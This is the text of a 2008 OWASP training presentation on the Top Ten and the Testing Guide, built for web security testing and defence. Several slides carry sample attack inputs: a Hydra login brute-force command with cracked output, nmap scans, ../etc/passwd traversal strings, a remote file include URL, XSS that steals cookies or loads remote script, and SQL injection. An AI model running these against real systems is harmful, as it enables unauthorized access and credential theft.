Romulus OWASP

OWASPOVERVIEW

Alberto Pastor NietoInformática Gesfor

March 2008

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

OWASP

Open communityInterested in improving application securityNot affiliated with any technology company

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

1. Cross Site Scripting (XSS)2. Injection Flaws3. Malicious File Execution4. Insecure Direct Object Reference5. Cross Site Request Forgery (CSRF)6. Information Leakage and Improper Error Handling7. Broken Authentication and Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

OWASPTOP TEN (2007)

OWASP

The Open Web Application Security ProjectOWASP Top TenOWASP Testing Guide (Tools demonstration)

Information Gathering

Testing Web Application Fingerprint

Application Discovery

Spidering and Googling

SSL/TLS Testing

Testing for File Extensions Handling

Application Configuration Management Testing

Old, Backup and Unreferenced Files

Information GatheringTesting Web Application Fingerprint

Different servers

Different versions

Differentresponses

Information GatheringTesting Web Application Fingerprint

$ nc 202.41.76.251 80HEAD / HTTP/1.0

HTTP/1.1 200 OKDate: Mon, 16 Jun 2003 02:53:29 GMTServer: Apache/1.3.3 (Unix) (Red Hat/Linux)Last-Modified: Wed, 07 Oct 1998 11:18:14 GMTETag: "1813-49b-361b4df6"Accept-Ranges: bytesContent-Length: 1179Connection: closeContent-Type: text/html

Information GatheringTesting Web Application Fingerprint

NETCRAFT ( http://www.netcraft.com )httprint

( http://www.net-square.com/httprint/ )

Tools:

Information GatheringTesting Web Application Fingerprint

Information GatheringApplication Discovery

Related issues:

Different base URL Non-standard portsVirtual hosts

Information GatheringApplication Discovery

Different base URL:

Directory exploration?Google (site:www.example.com)Candidate URLs (Ex. Nessus)

Information GatheringApplication Discovery

Non-standard ports: nmap –P0 –sT –sV –p1-65535 192.168.1.100Interesting ports on 192.168.1.100:(The 65527 ports scanned but not shown below are in state: closed)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))443/tcp open ssl OpenSSL901/tcp open http Samba SWAT administration server

Information GatheringApplication Discovery

Virtual hosts: $ host -t ns www.owasp.orgwww.owasp.org is an alias for owasp.org.owasp.org name server ns1.secure.net.owasp.org name server ns2.secure.net.

http://searchdns.netcraft.com/?host

Information GatheringSpidering and Googling

Spidering:wget -r http://www.example.com

Googling:googlegath.plhttp://www.nothink.org/perl/googlegath/

Information GatheringSSL/TLS Testing

Vulnerability Scanners:

Expired certificatesWeak Ciphers...

Other tools: OpenSSL, SSLDigger

Information GatheringTesting for File Extensions Handling

Identify underlying technologiesTools:

wget curl web mirroring tools vulnerability scanners

Information GatheringApplication Configuration Management Testing

Typical files and y directorios conocidosBe careful with HTML commentsPersonalize Error PagesOnly load necessary modulesMinimised privilegesAccess (correct and incorrect) log

Information GatheringOld, Backup and Unreferenced Files

Site map and technology cluesContent cluesPractices:

look into robots.txt, sitemaps files public information (cache: site:) search files: ~ .old .bak...

Information GatheringOld, Backup and Unreferenced Files

No use: mod_autoindex y mod_info (Hide unnecessary information)Correctness permisionsUse CHROOTLogs recommendations

Nessushttp://www.nessus.org

Port ScannerVulnerability Scanner

Business Logic Testing

Automated tools find it hard to understand contextPeople who know logic businessStrong data testing

Authentication

Dictionary attacksBruteforce attacksPattern searching attacks

Obtain User Accounts

AuthenticationObtain User Accounts

Tools:

John the RipperHydraBrutusRainbow Tables

AuthenticationObtain User Accounts

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task[DATA] attacking service http-post-form on port 443[STATUS] attack finished for wiki.intranet (waiting for childs to finish)[443] host: 10.0.0.1 login: owasp password: password[STATUS] attack finished for www.site.com (waiting for childs to finish)Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

AuthenticationBypassing authentication schema

• Direct page request• Parameter modification• Session IDs Prediction• SQL Injection

AuthenticationBypassing authentication schema

Tools:

WebScarabWebGoat (Trainning)

AuthenticationDirectory traversal/file include

Known as “dot-dot-slash”

2 evaluation steps:

Input vectors enumerationTesting Techniques

AuthenticationDirectory traversal/file include

Input vectors enumeration:

HTTP GET y POST requestsFile loadingHTML forms...

AuthenticationDirectory traversal/file include

Testing Techniques:

http://example.com/getUserProfile.jsp?item=../../../../etc/passwdCookie: USER=1826cc8f:PSTYLE=../../../../etc/passwdhttp://example.com/index.php?file=http://www.owasp.org/malicioustxt

CAREFUL WITH CHARSET!!%2e%2e%2f is ../%2e%2e/ is ../..%2f is ../

%2e%2e%5c is ..\%2e%2e\ is ..\..%5c is ..\

AuthenticationDirectory traversal/file include

Tools:

WebScarabParosBurp Suite

AuthenticationVulnerable remember password and pwd reset

"Security questions":

Multiple questionsStrong questionsNumber of attemptsCAPTCHASending to email

AuthenticationVulnerable remember password and pwd reset

Careful with “Remember password”:

<INPUT TYPE="password" AUTOCOMPLETE="off">

If password is into a Cookie:

In a hashed form

Session ManagementLogout and Browser Cache Management Testing

End Web Session:• The user logs out• The user remains idle for a certain amount of time and the application automatically logs him/her out

Session ManagementLogout and Browser Cache Management Testing

KEY:

INVALIDATE SERVER-SIDE SESSION

Java: HttpSession.invalidate()

Session ManagementLogout and Browser Cache Management Testing

Other practices:

End session button well visibleInvalidate Cookies in client-side

Session ManagementLogout and Browser Cache Management Testing

Tools:

WebScarabAdd N Edit Cookies (Firefox ext)Web Developer (Firefox ext)

Session ManagementAnalysis of the Session Management Schema

RandomlessUniquenessResistance to statistical analysisResistance to cryptographic analysis

Pasos a seguir:Pasos a seguir:

Session Tokens Analysis:

Session ManagementCookie and Session Token Manipulation

Cookie CollectionCookie Reverse EngineeringCookie manipulation

Steps:

Session ManagementCookie and Session Token Manipulation

WebScarabCookie Digger

Tools:

Session ManagementCross Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) describes a way to force an unknowing user to execute unwanted actions on a web application in which he is currently authenticated.

Recommended practices:Add session-related information in URLsUse POSTIntermediate pages (“Are you sure you really want to do this?”)Use REFERER headers

Data ValidationXSS (Cross Site Scripting)

XSS: Code injection attacks into the various interpreters in the browser.

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

<script src=http://www.example.com/malicious-code.js></script>%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e

Revise all input vectors

Data ValidationXSS (Cross Site Scripting)

Tools:

OWASP CAL9000

Data ValidationSQL Injection

Insertion or "injection" of an SQL query via the input data from the client to the application.

Example:SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Input:

$username = 1' or '1' = '1$password = 1' or '1' = '1

SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'

Data ValidationSQL Injection

Tools:

OWASP SQLIXSQL DUMPER

Data ValidationOther Injections

LDAP Injection (Lightweight Directory Access Protocol)ORM Injection (Hibernate in Java, Nhibernate in .NET, ActiveRecord in Ruby on Rails)XML InjectionSSI InjectionXPATH InjectionIMAP/SMTP InjectionSystem commands Injection

Data ValidationBuffer overflow

Issues caused by buffer overflows:

Denial of service (DoS)Code InjectionCode execution

Practices:

Update softwareBest practices

Denial of Service

User accounts blocked (Use CAPTCHAs)Buffer overflowsUser specified object allocationUser input as a loop counterUser provide data to diskFailure to release resourcesStore too much data in Session

Web Services

XML Structural TestingOverloading the XML parser

XML Content-level TestingXML/SQL/XPath... Injections

Validate Input Size Naugthy SOAP Attachments TestingMan-in-the-middle Testing

AJAX Testing

Increased attack surface with many more inputs to secureExposed internal functions of the applicationClient access to third-party resources with no built-in security and encoding mechanismsFailure to protect authentication information and sessionsBlurred line between client-side and server-side code, resulting in security mistakes

Useful Tools

OWASP Enterprise Security APIOWASP Encoding (User Inputs validation)OWASP Stinger (HTTP request validation)OWASP CSRFTester Project

Any Question?

OWASPhttp://www.owasp.org

Romulus Project http://www.ict-romulus.org